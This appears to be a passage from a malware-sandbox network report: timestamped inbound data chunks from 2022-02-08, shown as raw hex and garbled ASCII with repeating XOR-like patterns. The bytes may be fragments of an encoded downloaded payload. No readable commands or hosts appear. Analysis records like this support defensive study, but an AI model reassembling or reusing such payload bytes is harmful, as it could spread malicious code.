Jk]/Pw]/Pw]/____d]/d]/D]/D]/__

2022-02-08 23:07:11 UTC 513 IN Data Raw: 42 2f c4 74 42 2f ac 74 2b 2f 81 74 42 2f ef 74 42 2f ef 74 42 2f 87 74 30 2f aa 74 52 2f cb 74 52 2f cb 74 52 2f 
a3 74 20 2f 8e 74 48 2f fc 74 48 2f fc 74 48 2f 94 74 3d 2f b9 74 55 2f cc 74 55 2f cc 74 55 2f a4 74 2c 2f 89 74 4d 2f e4 74 
4d 2f e4 74 4d 2f 8d 74 29 2f a0 74 40 2f c4 74 40 2f c4 74 40 2f ad 74 33 2f 80 74 5a 2f f3 74 5a 2f f3 74 5a 2f 9a 74 2e 2f 
b7 74 4d 2f df 74 4d 2f df 74 4d 2f b6 74 39 2f 9b 74 50 2f ef 74 50 2f ef 74 50 2f 85 74 31 2f a8 74 5b 2f d8 74 5b 2f d8 74 
5b 2f b3 74 3a 2f 9e 74 5d 2f fb 74 5d 2f fb 74 5d 2f 90 74 36 2f bd 74 5d 2f c7 74 5d 2f c7 74 5d 2f ac 74 33 2f 81 74 5a 2f 
ef 74 5a 2f ef 74 5a 2f 84 74 35 2f ef 74 18 2f 86 74 76 2f 86 74 76 2f ed 74 19 2f c0 74 72 2f b2 74 72 2f b2 74 72 2f d9 74 
0b 2f f4 74 60 2f 93 
Data Ascii: B/tB/t+/tB/tB/tB/t0/tR/tR/tR/t /tH/tH/tH/t=/tU/tU/tU/t,/tM/tM/tM/t)/t@/t@/t@/t3/tZ/tZ/tZ/t./tM/tM/tM/t9/tP/tP/tP/t1/t[
/t[/t[/t:/t]/t]/t]/t6/t]/t]/t]/t3/tZ/tZ/tZ/t5/t/tv/tv/t/tr/tr/tr/t/t`/

2022-02-08 23:07:11 UTC 515 IN Data Raw: 69 2f 94 74 79 2f 84 74 69 2f 94 74 79 2f 84 74 fb 2f 06 74 79 2f 84 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 
04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 eb 2f 16 74 fb 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 
06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 
74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 
db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 
Data Ascii: i/ty/ti/ty/t/ty/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 517 IN Data Raw: ed ff e1 8b 86 29 50 e4 e9 f7 04 21 2c 66 54 11 1c 06 57 10 1d 04 fe 77 7a ca 83 5c 51 9c 9a a2 af 7b f8 75 78 
ce 1e de d3 83 84 a8 a5 6f c1 62 6f e0 5c e0 ed ff 1c 29 24 76 9b 54 59 8c 8e ae a3 63 65 f7 fa d1 ac b0 bd 5f a7 40 4d 
a4 4b ed e0 e5 2c 39 34 56 d1 9b 96 09 3b 34 39 4c 84 a8 a5 6f 73 0c 01 3c e5 7e 73 d8 be be b3 43 7c 09 04 36 60 f4 f9 
d7 ce 67 6a ea a4 41 4c a6 fe 77 7a ca bf 48 45 b4 bd bf b2 41 f2 73 7e c2 ae 47 4a aa 5a e2 ef fb 6e 07 0a 2a 66 f6 fb d3 
f5 87 8a 31 86 5f 52 9a d5 6e 63 f8 ea 7b 76 d2 e6 7f 72 da b4 b8 b5 4f d1 9b 96 09 8f 58 55 94 a7 40 4d a4 06 d6 db 93 
09 d3 de 99 bc 49 44 b6 b5 4e 43 b8 83 5c 51 9c 18 dc d1 87 25 3e 33 58 03 d5 d8 95 6a f2 ff db a7 40 4d a4 38 35 38 4e 
23 3c 31 5c bd bf b2 41 c9 93 9e 19 e7 89 84 2d ca 
Data Ascii: )P!,fTWwz\Q{uxobo\)$vTYce_@MK,94V;49Los<~sC|6`gjALwzHEAs~GJZn*f1_Rnc{vrOXU@MID
NC\Q%>3Xj@M858N#<1\A-

2022-02-08 23:07:11 UTC 519 IN Data Raw: 22 12 08 17 bf 0d a3 4f 45 a1 30 4c a6 ea 65 b6 96 ca 93 db e0 67 02 ad 2c ef 27 e1 2e 1a db 36 cb 55 0c fd 
e1 90 8c b9 d4 b6 03 1a b6 03 4a 40 07 dd 2d 5b bd f8 b5 55 57 bd 54 95 a9 e0 56 e0 86 23 44 10 ca a2 e7 87 8c 2f 21 
7e 5f 44 c6 21 d0 47 53 bd 42 52 b8 c7 2f ed 62 9e 7d 78 4f 1d c3 ac 9c 3c b7 f4 b5 55 57 bd f1 9d 9e 33 9b 14 5c 46 e3 
6d d2 b2 88 53 8a 2b 55 22 33 0c e3 6d d2 b2 f4 c0 5a 42 92 6c 7a 8b 26 56 b4 f6 3e 1c 6b 95 bc 2d 71 70 dc 1e 20 e7 
99 61 73 85 79 16 17 34 fd b8 7c 8f e1 18 fd 71 75 33 f5 88 2d 5b bd f8 34 a6 f8 77 b3 ca 26 e3 04 32 5d b1 27 e1 2e 1a 
c5 e3 65 68 92 6c 7a 8b b8 c7 2f ed bf ef c4 5f bc 2d 71 70 26 56 b4 f6 83 5e 83 25 71 d9 ab 15 c3 7c 14 36 79 16 17 34 
25 94 01 d9 0e 88 ce 53 9c 3c b7 f4 6c ce b0 07 cd 2c d9 49 00 
Data Ascii: "OE0Leg,'.6UJ@-[UWTV#D/!~_D!GSBR/b}xO<UW3\FmS+U"3mZBlz&V>k-qp asy4|qu3-[4w&2]'.ehlz/_-qp
&V^%q|6y4%S<l,I

2022-02-08 23:07:11 UTC 521 IN Data Raw: d5 1e ee 8b 03 a3 81 e4 dd 12 44 21 4c 46 74 11 2c 16 75 10 2e 15 12 77 e0 bc 39 5c b6 c1 c7 a2 51 d8 10 75 
e4 ba bb de a9 5c cd a8 45 c6 07 62 ca 83 85 e0 d5 1e 4c 29 5c 5e 31 54 a6 d9 cb ae 49 cc 92 f7 fb 27 d5 b0 75 ee 25 40 
8e e5 88 ed cf 09 5c 39 7c 6e fe 9b 23 93 51 34 66 79 cd a8 45 c6 69 0c 16 31 1b 7e f2 a7 db be 69 fc 6c 09 1c 3e 91 f4 
fd 22 02 67 c0 8c 24 41 8c e6 12 77 e0 bc 2d 48 9e fd da bf 6b ff 16 73 e8 b0 22 47 80 ec 87 e2 d1 18 62 07 00 2c 93 f6 
f9 24 e2 87 1b b7 3a 5f b0 c4 0b 6e d2 97 1e 7b f8 a8 1a 7f f0 a4 dd b8 65 f6 fe 9b 23 93 3d 58 be cd 25 40 8e e5 b3 d6 
b9 44 b6 d3 b3 4b 2c 49 9c fe 2b 4e 92 f7 39 5c b6 c1 b9 dc ad 5a 5b 3e 72 67 b0 d5 bf 41 97 f2 f1 28 25 40 8e e5 50 35 
64 7a 59 3c 76 61 da bf 6b ff f6 93 33 8b ec 89 07 a5 f7 
Data Ascii: D!LFt,u.w9\Qu\EbL)\^1TI'u%@\9|n#Q4fyEi1~il>"g$Aw-Hks"Gb,$:_n{e#=X%@DK,I+N9\Z[>rgA(%@P5dz
Y<vak3

2022-02-08 23:07:11 UTC 523 IN Data Raw: ed c7 6b 84 86 ac b5 35 e9 c3 24 61 2c 06 44 31 1c 36 46 32 1d 37 88 9b 7a 50 de e6 51 7b 39 ff af 85 8c 9d 
78 52 c1 7b d3 f9 2d e1 a5 8f a2 a4 6f 45 bd 39 ed c7 34 79 24 0e ce fe 59 73 21 eb a3 89 93 00 fa d0 1d c9 bd 97 e6 c2 
4d 67 a7 2e e0 ca 14 49 34 1e 4b b4 96 bc 0e 5e 39 13 2d e1 a5 8f 7e 16 01 2b 9a 80 73 59 01 db b3 99 74 19 04 2e 95 
05 f9 d3 a8 ab 6a 40 e4 c1 4c 66 88 9b 7a 50 f6 da 45 6f 03 d8 b2 98 80 97 7e 54 e8 cb 4a 60 b9 3f ef c5 68 0b 0a 20 91 
03 fb d1 73 90 8a a0 d8 e3 52 78 ba b0 63 49 90 8f 76 5c 98 83 72 58 0d d1 b5 9f 4b b4 96 bc d6 ea 55 7f e6 c2 4d 67 d1 
63 db f1 db 6c de f4 f4 d9 44 6e fa d0 43 69 de e6 51 7b c5 7d d1 fb 1a 40 33 19 d7 66 d8 f2 99 0f ff d5 e6 c2 4d 67 0c 5d 
38 12 1e 46 31 1b 03 d8 b2 98 5b ac 9e b4 6f 82 84 ae 59 
Data Ascii: k5$a,D16F27zPQ{9xR{-oE94y$Ys!Mg.I4K^9-~+sYt.j@LfzPEo~TJ`?h sRxcIv\rXKUMgclDnCiQ{}@3fMg]8F1[oY

2022-02-08 23:07:11 UTC 525 IN Data Raw: 0c 26 64 8b 0c 26 64 e4 0c 26 64 21 0c 26 64 11 0c 26 64 10 0c 26 64 77 0c 26 64 5c 0c 26 64 a2 0c 26 64 75 
0c 26 64 de 0c 26 64 a8 0c 26 64 62 0c 26 64 e0 0c 26 64 29 0c 26 64 54 0c 26 64 ae 0c 26 64 f7 0c 26 64 b0 0c 26 64 
40 0c 26 64 ed 0c 26 64 39 0c 26 64 9b 0c 26 64 34 0c 26 64 a8 0c 26 64 0c 0c 26 64 7e 0c 26 64 be 0c 26 64 09 0c 26 
64 f4 0c 26 64 67 0c 26 64 41 0c 26 64 77 0c 26 64 48 0c 26 64 bf 0c 26 64 73 0c 26 64 47 0c 26 64 e2 0c 26 64 07 0c 26 
64 f6 0c 26 64 87 0c 26 64 5f 0c 26 64 6e 0c 26 64 7b 0c 26 64 7f 0c 26 64 b8 0c 26 64 9b 0c 26 64 58 0c 26 64 40 0c 26 
64 d6 0c 26 64 d3 0c 26 64 49 0c 26 64 4e 0c 26 64 5c 0c 26 64 dc 0c 26 64 3e 0c 26 64 d5 0c 26 64 f2 0c 26 64 40 0c 26 
64 35 0c 26 64 3c 0c 26 64 bf 0c 26 64 93 0c 26 64 89 0c 26 64 
Data Ascii: &d&d&d!&d&d&dw&d\&d&du&d&d&db&d&d)&dT&d&d&d&d@&d&d9&d&d4&d&d&d~&d&d&d&dg&dA&dw
&dH&d&ds&dG&d&d&d&d&d_&dn&d{&d&d&d&dX&d@&d&d&dI&dN&d\&d&d>&d&d&d@&d5&d<&d&d&d&d

2022-02-08 23:07:11 UTC 545 IN Data Raw: 0c c7 64 01 0c ac 64 01 0c c3 64 01 0c 06 64 01 0c 36 64 01 0c 37 64 01 0c 50 64 01 0c 7b 64 01 0c 85 64 01 
0c 52 64 01 0c f9 64 01 0c 8f 64 01 0c 45 64 01 0c c7 64 01 0c 0e 64 01 0c 73 64 01 0c 89 64 01 0c d0 64 01 0c 97 64 01 
0c 67 64 01 0c ca 64 01 0c 1e 64 01 0c bc 64 01 0c 13 64 01 0c 8f 64 01 0c 2b 64 01 0c 59 64 01 0c 99 64 01 0c 2e 64 01 
0c d3 64 01 0c 40 64 01 0c 66 64 01 0c 50 64 01 0c 6f 64 01 0c 98 64 01 0c 54 64 01 0c 60 64 01 0c c5 64 01 0c 20 64 
01 0c d1 64 01 0c a0 64 01 0c 78 64 01 0c 49 64 01 0c 5c 64 01 0c 58 64 01 0c 9f 64 01 0c bc 64 01 0c 7f 64 01 0c 67 64 
01 0c f1 64 01 0c f4 64 01 0c 6e 64 01 0c 69 64 01 0c 7b 64 01 0c fb 64 01 0c 19 64 01 0c f2 64 01 0c d5 64 01 0c 67 64 
01 0c 12 64 01 0c 1b 64 01 0c 98 64 01 0c b4 64 01 0c ae 64 
Data Ascii: dddd6d7dPd{ddRdddEdddsddddgdddddd+dYdd.dd@dfdPdoddTd`dd dddxdId\dXddddgdddndid{dddddgddd
ddd

2022-02-08 23:07:11 UTC 547 IN Data Raw: 91 75 d7 2a 60 30 2d 86 cb 68 ce cd 58 6b fe ed 0d 91 88 40 fb fc 44 c8 6a 8a 46 3d 4f c6 a3 72 b3 11 89 b7 
64 da bc 91 e4 9e de 24 6b 3d 6f fa 22 67 d5 df 45 7c 3f 9a dd 72 c1 c7 3c b2 ee 04 3e c7 a2 85 2c 37 e4 08 8f a0 37 63 
49 59 b8 60 ae 06 2a 75 3b 9a 47 ca d0 e0 15 5f 0a b9 ab 8b 27 3a df d3 f4 1b 3f 9a dd 72 f6 14 99 ba 34 61 f3 33 ba 95 
8b 4a e2 0c e0 74 5b 2b 3d 05 ba 95 8b 4a 32 65 9c e7 12 ac fa 4b dc d1 4e 71 03 b2 56 3b 19 57 d4 0a 48 c0 b4 39 1b 
a2 f1 46 7f 13 11 31 14 a8 95 9f 95 56 89 3f 9d af 1d 14 d5 df 45 7c 90 50 5c 81 4e c4 db ed 35 96 6c 15 46 3d 4f c6 0d 4f 
ad c4 12 ac fa 4b 47 ca d0 e0 ac 78 d7 c8 19 57 d4 0a dc d1 4e 71 eb 02 eb 79 c3 32 19 fe 7c 11 ab 5b 7f 13 11 31 69 fe 
4d b3 a6 74 66 af df d3 f4 1b d8 20 04 e9 b1 6e a5 0b 6b 
Data Ascii: u*`0-hXk@DjF=Ord$k=o"gE|?r<>,77cIY`*u;G_':?r4a3Jt[+=J2eKNqV;WH9F1V?E|P\N5lF=OOKGxWNqy2|[1iMtf 
nk

2022-02-08 23:07:11 UTC 597 IN Data Raw: 28 1e 6f 0c 05 28 55 22 33 0c 64 01 0c 26 3c 69 44 56 6f 0c 05 28 21 7e 5f 44 64 01 0c 26 10 5d 60 6e 6f 0c 
05 28 0d 4a 7b 7c 64 01 0c 26 d4 d1 9c c6 6f 0c 05 28 c9 c6 87 d4 64 01 0c 26 f8 e5 b8 fe 6f 0c 05 28 e5 f2 a3 ec 64 01 
0c 26 8c b9 d4 b6 6f 0c 05 28 91 ae cf a4 64 01 0c 26 a0 8d f0 8e 6f 0c 05 28 bd 9a eb 9c 64 01 0c 26 1f ba 37 fd 6f 0c 05 
28 02 ad 2c ef 64 01 0c 26 33 8e 13 c5 6f 0c 05 28 2e 99 08 d7 64 01 0c 26 47 d2 7f 8d 6f 0c 05 28 5a c5 64 9f 64 01 0c 
26 6b e6 5b b5 6f 0c 05 28 76 f1 40 a7 64 01 0c 26 af 6a a7 1d 6f 0c 05 28 b2 7d bc 0f 64 01 0c 26 83 5e 83 25 6f 0c 05 
28 9e 49 98 37 64 01 0c 26 f7 02 ef 6d 6f 0c 05 28 ea 15 f4 7f 64 01 0c 26 db 36 cb 55 6f 0c 05 28 c6 21 d0 47 64 01 0c 
26 92 6c 7a 8b 6f 0c 05 28 8f 7b 61 99 64 01 0c 26 be 
Data Ascii: (o(U"3d&<iDVo(!~_Dd&]`no(J{|d&o(d&o(d&o(d&o(d&7o(,d&3o(.d&Go(Zdd&k[o(v@d&jo(}d&^%o(I7d&m
o(d&6Uo(!Gd&lzo({ad&

2022-02-08 23:07:11 UTC 599 IN Data Raw: 20 12 6d 0f 07 2b 5b 2b 3d 05 64 01 0c 26 2c 71 54 4e 6d 0f 07 2b 37 63 49 59 64 01 0c 26 08 49 78 7a 6d 0f 
07 2b 13 5b 65 6d 64 01 0c 26 f4 e1 bc f6 6d 0f 07 2b ef f3 a1 e1 64 01 0c 26 d0 d9 90 c2 6d 0f 07 2b cb cb 8d d5 64 01 
0c 26 bc 91 e4 9e 6d 0f 07 2b a7 83 f9 89 64 01 0c 26 98 a9 c8 aa 6d 0f 07 2b 83 bb d5 bd 64 01 0c 26 5f da 77 9d 6d 0f 
07 2b 44 c8 6a 8a 64 01 0c 26 7b e2 5b a9 6d 0f 07 2b 60 f0 46 be 64 01 0c 26 17 aa 2f f5 6d 0f 07 2b 0c b8 32 e2 64 01 
0c 26 33 92 03 c1 6d 0f 07 2b 28 80 1e d6 64 01 0c 26 cf 3a c7 4d 6d 0f 07 2b d4 28 da 5a 64 01 0c 26 eb 02 eb 79 6d 0f 
07 2b f0 10 f6 6e 64 01 0c 26 87 4a 9f 25 6d 0f 07 2b 9c 58 82 32 64 01 0c 26 a3 72 b3 11 6d 0f 07 2b b8 60 ae 06 64 01 
0c 26 12 ac fa 4b 6d 0f 07 2b 09 be e7 5c 64 01 0c 26 36 
Data Ascii:  m+[+=d&,qTNm+7cIYd&Ixzm+[emd&m+d&m+d&m+d&m+d&_wm+Djd&{[m+`Fd&/m+2d&3m+(d&:Mm+
(Zd&ym+nd&J%m+X2d&rm+`d&Km+\d&6

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 601 IN Data Raw: 0c 39 64 01 0c 19 64 01 0c 59 64 01 0c d9 64 01 0c c2 64 01 0c f4 64 01 0c f4 64 01 0c f4 74 01 0c f4 74 00 0e 
f7 70 05 08 f0 78 0c 02 fb 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 10 2e c7 30 45 48 b0 b8 dc e2 0b 
74 01 0c f4 1d c5 ec 2c 77 be e8 1c af 73 5f 9c df c7 9a c6 c7 c7 9a c6 c7 c6 98 c5 c3 c3 9e c2 cb ca 94 c9 c7 c7 9a c6 d7 
d6 88 d5 c3 c3 9e c2 c3 c3 9e c2 c3 c3 9e c2 c3 d2 bc f1 87 87 da 86 0f 1e 70 3d c3 c3 9e c2 1e 6a e2 66 98 26 3d 86 f6 
89 4d 26 1a 84 3c b7 3a 84 3c b7 3a 85 3e b4 3e 80 38 b3 36 89 32 b8 3a 84 3c b7 2a 95 2e a4 3e 80 38 b3 26 99 22 a8 
3a 84 3c b7 3a 95 1e 84 7e c0 78 f3 f6 59 d2 48 3a 84 3c b7 b4 26 8b 7d e5 41 ce c2 0f bd 87 52 44 f4 e7 db 2f 91 9e db 
5b fc ee db 5b fc ee db 5b fc ee db 5b fc ee db a3 
Data Ascii: 9ddYdddddttpxtttttt.0EHt,ws_p=jf&=M&<:<:>>862:<*.>8&":<:~xYH:<&}ARD/[[[[

2022-02-08 23:07:11 UTC 603 IN Data Raw: 90 e9 1a cf fe bf 7b a3 97 db 1a d7 f2 ee 1a d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 97 28 0d 11 68 d7 f2 
ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d d0 68 d7 f2 
ef 5c e2 c4 d8 64 db fe e3 58 e6 01 1c a7 18 fe e3 58 18 ff e1 5b 1c fa e7 5c 14 f3 ed 57 18 fe e3 58 08 ef f1 4b 1c fa e7 
5c 04 e3 18 a3 fb 1c e7 5c e1 07 fb 41 ff 18 db 60 dd 3b ff 45 fb 1c d7 6c d1 37 fb 41 ff 18 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
Data Ascii: {hhh(h(h(h(h(h(h\dXX[\WXK\\A`;El7Ap+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p

2022-02-08 23:07:11 UTC 605 IN Data Raw: a7 48 e5 b7 a7 48 af b7 a7 48 e5 b7 a7 48 ae b7 a7 48 e5 b7 a7 48 a9 b7 a7 48 e5 b7 a7 48 a8 b7 a7 48 e5 
b7 a7 48 ab b7 a7 48 e5 b7 a7 48 aa b7 a7 48 e5 b7 a7 48 b5 b7 a7 48 e5 b7 a7 48 b4 b7 a7 48 e5 b7 a7 48 b7 b7 a7 48 
e5 b7 a7 48 b6 b7 a7 48 e5 b7 a7 48 b1 b7 a7 48 e5 b7 a7 48 b0 b7 a7 48 e5 b7 a7 48 b3 b7 a7 48 e5 b7 a7 48 b2 b7 a7 
48 e5 b7 a7 48 bd b7 a7 48 e5 b7 a7 48 bc b7 a7 48 e5 b7 a7 48 bf b7 a7 48 e5 b7 a7 48 84 b7 a7 48 e5 b7 a7 48 87 b7 
a7 48 e5 b7 a7 48 86 b7 a7 48 e5 b7 a7 48 81 b7 a7 48 e5 b7 a7 48 80 b7 a7 48 e5 b7 a7 48 83 b7 a7 48 e5 b7 a7 48 82 
b7 a7 48 e5 b7 a7 48 8d b7 a7 48 e5 b7 a7 48 8c b7 a7 48 e5 b7 a7 48 8f b7 a7 48 e5 b7 a7 48 8e b7 a7 48 e5 b7 a7 48 
89 b7 a7 48 e5 b7 a7 48 88 b7 a7 48 e5 b7 a7 48 8b b7 a7 48 e5 b7 a7 48 8a 
Data Ascii: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

2022-02-08 23:07:11 UTC 607 IN Data Raw: b0 1a dc c1 bd 1a c5 a5 b1 1a dc f1 ba 1a c5 c5 b0 1a dc b7 a5 fa dd a2 ad fa c8 d6 a1 fa dd b2 aa fa c8 86 a0 
fa dd f4 b1 1a dc ea b8 1a c2 0e 1e 1a dc 7a bb 1a c2 4e 1f 1a dc 4f bd 1a cc 1f bd 1a cd 14 bf 1a c6 26 b8 2a c7 2d bb 
2a cc 2c 9d 2a c8 1c 9d 2a c9 3d 96 2a e8 59 0a 2a c9 6d 90 2a e8 6c 04 2a fa 9c 14 ca f4 4c 18 ba ff 1c 18 ba fe 1b 1a 
ba f9 1a 23 ba f8 0a 20 ba e8 0b a4 ba e1 3b a4 ba e0 27 a8 ba fc 43 b9 ba e0 17 b6 ba fc 23 b8 ba e0 51 a0 4a f6 b1 b4 
9a e4 71 a4 ea e5 53 af ea c7 b7 32 ea e5 c3 ae ea c7 a7 35 ea e5 93 af ea c7 92 37 ea d3 c2 37 ea d2 de 3b ea ce ba 2f 
ea d2 ee 3c ea ce da 2e ea d2 68 36 1a c4 88 22 ca d6 48 32 ba d7 57 39 ba c8 23 1b ba d7 47 3a ba c8 73 1a ba d7 72 
06 ba c3 92 14 7a d3 c2 14 7a d2 cb 17 7a db ca 13 7b d9 
Data Ascii: zNO&*-*,**=*Y*m*l*L# ;'C#QJqS2577;/<.h6"H2W9#G:srzzz{

2022-02-08 23:07:11 UTC 609 IN Data Raw: a8 b9 d0 46 ac b9 da 72 a2 b9 d0 e0 a4 c9 18 37 a5 c9 58 37 a5 c9 59 31 a7 c9 5f 63 a5 f9 5e 63 a5 f9 5f 65 
a7 f9 59 57 a5 c9 58 4e af c9 41 3a a4 c9 58 5e ae c9 41 0a a7 c9 58 3e af c9 41 6c ba 39 40 63 be 39 4f 57 b8 39 40 65 
b3 49 51 79 b9 49 4d 1d b6 49 51 29 b8 49 4d 5b a0 b9 5b bb b4 69 49 7b a4 19 f9 8f a5 19 f8 8f a5 19 e3 24 a4 19 cc 88 
a5 19 4c 3b a7 19 4c 3b a7 19 5d 34 a3 19 52 00 a4 19 5d 32 af 69 ed c6 ae 69 ec c6 ae 69 87 6b af 69 f2 c6 ae 69 1c 75 
ac 69 1c 75 ac 69 0d 60 a4 69 18 14 af 69 0d 70 a5 69 18 44 ac 69 0d 16 bd 89 bd e2 bc 89 bf e2 bc 89 ba 4c bd 89 9d e2 
bc 89 39 51 be 89 39 51 be 89 15 ff bf 89 55 51 be 89 f1 e2 bc 89 f1 e2 bc 89 e0 fb b4 89 f9 8f bc 89 e0 eb bb 89 f9 df bd 
89 e0 ed a8 69 50 19 a9 69 51 19 a9 69 07 a9 a8 69 6d 
Data Ascii: Fr7X7Y1_c^c_eYWXNA:X^AX>Al9@c9OW9@eIQyIMIQ)IM[[iI{$L;L;]4R]2iiikiiuiui`iipiDiL9Q9QUQiPiQiim

2022-02-08 23:07:11 UTC 611 IN Data Raw: ab 5b 48 36 a5 5b 5b 05 ab 29 51 f5 a3 c9 57 25 a7 09 55 75 a7 09 9d a2 a6 09 ad a2 a6 09 bc ad a0 09 b3 c9 
a9 09 bc fd a1 09 b3 af aa 79 03 5b ab 79 02 5b ab 79 90 1e a9 79 94 58 ab 79 53 ed a9 79 53 ed a9 79 42 f0 a5 79 5f 34 
a8 79 42 40 a4 79 5f 24 af 79 42 10 a5 79 5f 42 bc 89 48 a2 a9 59 f8 56 a8 59 fa 56 a8 59 a3 11 aa 59 d2 56 a8 59 2b e3 
aa 59 2b e3 aa 59 d5 a5 a8 59 56 ed aa 59 42 5b a8 59 42 5b a8 59 43 4b ae 59 53 3f a9 59 43 0b af 59 53 39 a3 b9 42 
2c ab b9 57 58 a3 b9 42 3c a4 b9 57 08 a2 b9 42 3a b3 49 f2 ce b2 49 f3 ce b2 49 90 88 b0 49 10 ce b2 49 f0 7b b0 49 f0 
7b b0 49 e1 6a b6 49 f0 5e bc 49 e1 6c b1 a9 ea 1c bb c9 5a e8 ba c9 5b e8 ba c9 48 a3 b8 c9 1f e8 ba c9 32 5e b8 c9 32 
5e b8 c9 23 54 bc c9 29 60 b0 c9 23 f2 b6 b9 93 06 b7 b9 92 
Data Ascii: [H6[[)QW%Uuy[y[yyXySySyBy_4yB@y_$yBy_BHYVYVYYVY+Y+YYVYB[YB[YCKYS?YCYS9B,WXB<WB
:IIIII{I{IjI^IlZ[H2^2^#T)`#

2022-02-08 23:07:11 UTC 613 IN Data Raw: e2 5d c8 02 fd 5d d7 76 e3 5d c8 12 fe 5d d7 26 e2 5d c8 27 f8 5d dc 77 f8 5d dd 6c f2 5d c6 18 fc 5d dd 7c f1 
5d c6 48 fd 5d dd 3a e9 ad cf da f9 fd d6 fc f3 fd c2 fd fa fc cf 0d f1 1c c6 dd f6 dc c3 ad f2 bc c0 fd f0 8c 08 2a f1 8c 38 22 
f1 8c 20 87 f2 8c 20 87 f2 8c 20 87 f2 8c e0 37 f1 8c 50 f7 f3 8c 38 53 f0 8c 38 53 f0 8c 38 53 f0 8c 6a e1 f3 8c 6a 21 f1 8c 
e2 88 f2 8c e2 88 f2 8c e2 88 f2 8c 88 3b f1 8c a8 fe f3 8c 58 57 f0 8c 58 57 f0 8c 58 57 f0 8c 2e e4 f3 8c a6 21 f1 8c a6 21 
f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c 6e 90 f2 8c 6e 90 f2 8c 82 20 f1 8c 82 20 f1 8c 14 97 f2 8c 14 97 f2 8c 
b8 20 f1 8c b8 20 f1 8c 7c 97 f2 8c 7c 97 f2 8c 46 25 f1 8c 46 25 f1 8c 60 97 f2 8c 60 97 f2 8c 78 25 f1 8c 78 25 f1 8c 7c 97 
f2 8c 7c 97 f2 8c 86 
Data Ascii: ]]v]]&]']w]l]]|]H]:*8"   7P8S8S8Sjj!;XWXWXW.!!!!!!nn    ||F%F%``x%x%||

2022-02-08 23:07:11 UTC 617 IN Data Raw: 89 cf d3 c7 19 69 64 47 af d8 d5 e1 02 6f 52 4b b3 c9 f2 fc 1f 78 48 7e dc 78 8c 7f 58 de 3b ff ee 6f 8a 59 43 
d8 0d f3 f2 7e ad 44 5e cf 17 c6 9d cf 7e c5 13 79 d1 72 b9 f8 6b c5 1f 6f c7 51 b5 c8 61 d1 1e 6a d0 12 d8 6b 54 b4 6f eb 
e2 05 de 4d 4f b2 4d fc e3 12 eb 4c 53 d1 21 4d d7 77 96 cd 61 c6 27 6b cc 71 b0 c0 7d d7 12 67 be d7 d1 64 2f 71 73 c3 
aa db dc 65 69 db b9 65 e9 77 14 c8 4f d7 a3 45 ed 79 05 e2 7e d3 b6 44 bd d3 29 44 3d 62 8f e6 8a c4 02 44 24 62 a5 
d7 8e d1 03 55 4d d1 fc 51 d8 7b 4d e6 6e d9 e2 75 df 75 55 d3 7f c2 d3 68 bc c2 1d 6c 2b 64 ac c2 81 c9 0e 75 27 5a bf 
d9 87 fc 0f 69 44 fc c9 6a d5 5a 6b cd 46 eb c7 6d e0 5b 77 e3 46 f5 db 52 fc 36 e6 57 68 87 4c e0 ce 14 fd 4c 6e b2 4d fc 
e0 14 e3 50 51 ae 20 50 dc ac a4 f6 6b 3b 0f 47 cd 
Data Ascii: idGoRKxH~xX;oYC~D^~yrkoQajkToMOMLS!Mwa'kq}gd/qseiewOEy~D)D=bD$bUMQ{MnuuUhl+du'
ZiDjZkFm[wFR6WhLLnMPQ Pk;G

2022-02-08 23:07:11 UTC 619 IN Data Raw: c9 f2 ae 87 0a f2 bb 87 88 43 1d 02 22 ec bb 80 91 46 0b 02 1c d6 81 c1 90 d7 05 67 27 57 a9 c9 89 f5 04 6e 
06 5f a9 c8 84 9c 62 c9 00 3a d5 49 b6 8b 64 ef 1b 3c f3 44 aa 9a 51 e3 20 3d 92 e3 4b 3f 16 45 fc af a1 e2 77 0d 0c 45 
d8 ab cf 45 c2 a9 4b e3 75 27 e7 44 c3 88 41 c1 69 27 e7 4c cb 89 41 d8 08 89 43 db 82 39 c4 7d 23 8f 60 d9 85 3e f3 68 
